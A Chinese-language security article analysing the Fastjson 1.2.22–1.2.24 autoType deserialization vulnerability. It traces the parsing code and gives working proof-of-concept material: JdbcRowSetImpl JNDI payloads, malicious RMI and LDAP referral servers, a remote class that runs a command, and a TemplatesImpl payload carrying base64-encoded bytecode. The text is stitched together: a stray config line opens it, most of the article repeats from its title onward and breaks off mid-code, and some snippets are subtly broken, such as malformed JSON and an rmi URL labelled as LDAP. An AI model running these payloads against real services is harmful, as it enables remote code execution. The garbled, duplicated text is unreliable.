  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao

fastjson简介

Fastjson是阿里巴巴公司开源的速度最快的Json和对象转换工具,一个Java语言编写的JSON处理器。

常见的序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 把JSON文本parse为JSONObject或者JSONArray 
public static final Object parse(String text); 
 // 把JSON文本parse成JSONObject
public static final JSONObject parseObject(String text);    
// 把JSON文本parse为JavaBean 
public static final <T> T parseObject(String text, Class<T> clazz)
// 把JSON文本parse成JSONArray 
public static final JSONArray parseArray(String text); 
//把JSON文本parse成JavaBean集合 
public static final <T> List<T> parseArray(String text, Class<T> clazz); 
// 将JavaBean序列化为JSON文本 
public static final String toJSONString(Object object); 
 // 将JavaBean序列化为带格式的JSON文本 
public static final String toJSONString(Object object, boolean prettyFormat);
//将JavaBean转换为JSONObject或者JSONArray。
public static final Object toJSON(Object javaObject); 

简单的使用

1.将Json文本数据信息转换为JsonObject对象,通过键值的形式获取值

1
2
3
4
5
6
7
8
9
10
11
12
package fastjson;

import com.alibaba.fastjson.*;
public class demo {
    public static void main(String[] args) {
        String str = "{\"name\":\"test\"}";
//将JsonObject数据转换为Json  
        JSONObject object = JSON.parseObject(str);
//利用键值对的方式获取到值
        System.out.println(object.get("name"));
    }
}

JSONObject的get方法是通过传入的key值匹配返回val的值
图片

2.将JSON文本转换成实体类

先定义一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

有两个方法可以进行反序列化,一个是parseObject、一个是parse,先来看看parseObject

parseObject

1
2
3
4
5
6
7
8
9
10
11
String s = "{\"name\":\"test\",\"age\":\"12\"}";

Object object1 = JSON.parseObject(s,User.class);
System.out.println(((User) object1).getName());
System.out.println(((User) object1).getAge());
System.out.println(object1.getClass());

Object object2 = JSON.parseObject(s);
System.out.println(((JSONObject) object2).get("name"));
System.out.println(((JSONObject) object2).get("age"));
System.out.println(object2.getClass());

很明显 根据参数的不同,返回的类也不同

1
2
3
4
5
6
7
8
9
10
11
12
public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject)obj;
    } else {
        try {
            return (JSONObject)toJSON(obj);
        } catch (RuntimeException var3) {
            throw new JSONException("can not cast to JSONObject.", var3);
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) {
    if (input == null) {
        return null;
    } else {
        Feature[] var4 = features;
        int var5 = features.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Feature feature = var4[var6];
            featureValues = Feature.config(featureValues, feature, true);
        }

        DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
        T value = parser.parseObject(clazz);
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

parse

这个方法貌似用到的不多

1
2
Object object3 = JSON.parse(s);
System.out.println(object3.getClass());

toJSONString

1
2
3
4
5
Map map = new HashMap();
map.put("1",123);
map.put("slm","123");
String result1 = JSON.toJSONString(map);
System.out.println(result1);

Fastjson 1.2.22-1.2.24反序列化漏洞分析

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

通过Ser.java进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
图片

没加SerializerFeature.WriteClassName

图片

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
看下面几种反序列化方法

图片

图片

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

图片

图片

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.IOException;

public class Student {
private String name;
private int age;
private String sex;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}

Unser.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}

Fastjson反序列化流程分析

在parseObject处下断点,跟进

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

第一行将json字符串转化成对象,跟进parse

1
2
3
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作

1
2
3
4
5
6
7
8
9
10
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12,所以进入如下判断

1
2
3
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

这里会通过scanSymbol获取到@type指定类
图片

然后通过 TypeUtils.loadClass 方法加载Class

图片

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

图片

接着创建了ObjectDeserializer类并调用了deserialze方法

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

1
2
3
4
5
6
7
8
9
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

远程恶意类badClassName.class

1
2
3
4
5
6
7
8
9
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}

客户端JNDIClient.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

LDAP+JNDI
POC和上面一样,就是改了一下url,因为是ldap了

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java
这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

LDAPClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/badClassName");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意远程类和上面一样

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect方法

图片

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload

1
2
3
4
5
6
7
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

图片

跟进parseField方法,对_bytecodes对应的内容进行解析

图片

跟进FieldDeserializer#parseField方法

图片

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

图片

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

图片

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

图片

跟进newTransformer方法

图片

跟进getTransletInstance方法

图片

Fastjson 1.2.22-1.2.24反序列化漏洞分析

ghtwf01 / 2021-01-08 15:20:51 / 浏览数 13613 安全技术 漏洞分析

顶(1) 踩(0)


Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址:https://github.com/alibaba/fastjson

Fastjson序列化与反序列化

序列化

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

然后通过Ser.java进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
图片

没加SerializerFeature.WriteClassName

图片

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
看下面几种反序列化方法

图片

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

图片

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.IOException;

public class Student {
private String name;
private int age;
private String sex;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}

Unser.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}

图片

Fastjson反序列化流程分析

在parseObject处下断点,跟进

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

第一行将json字符串转化成对象,跟进parse

1
2
3
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作

1
2
3
4
5
6
7
8
9
10
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12,所以进入如下判断

1
2
3
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

这里会通过scanSymbol获取到@type指定类
图片

然后通过 TypeUtils.loadClass 方法加载Class

图片

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

图片

接着创建了ObjectDeserializer类并调用了deserialze方法

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
图片

到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

1
2
3
4
5
6
7
8
9
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

远程恶意类badClassName.class

1
2
3
4
5
6
7
8
9
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}

客户端JNDIClient.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

LDAP+JNDI

POC和上面一样,就是改了一下url,因为是ldap了

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java
这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
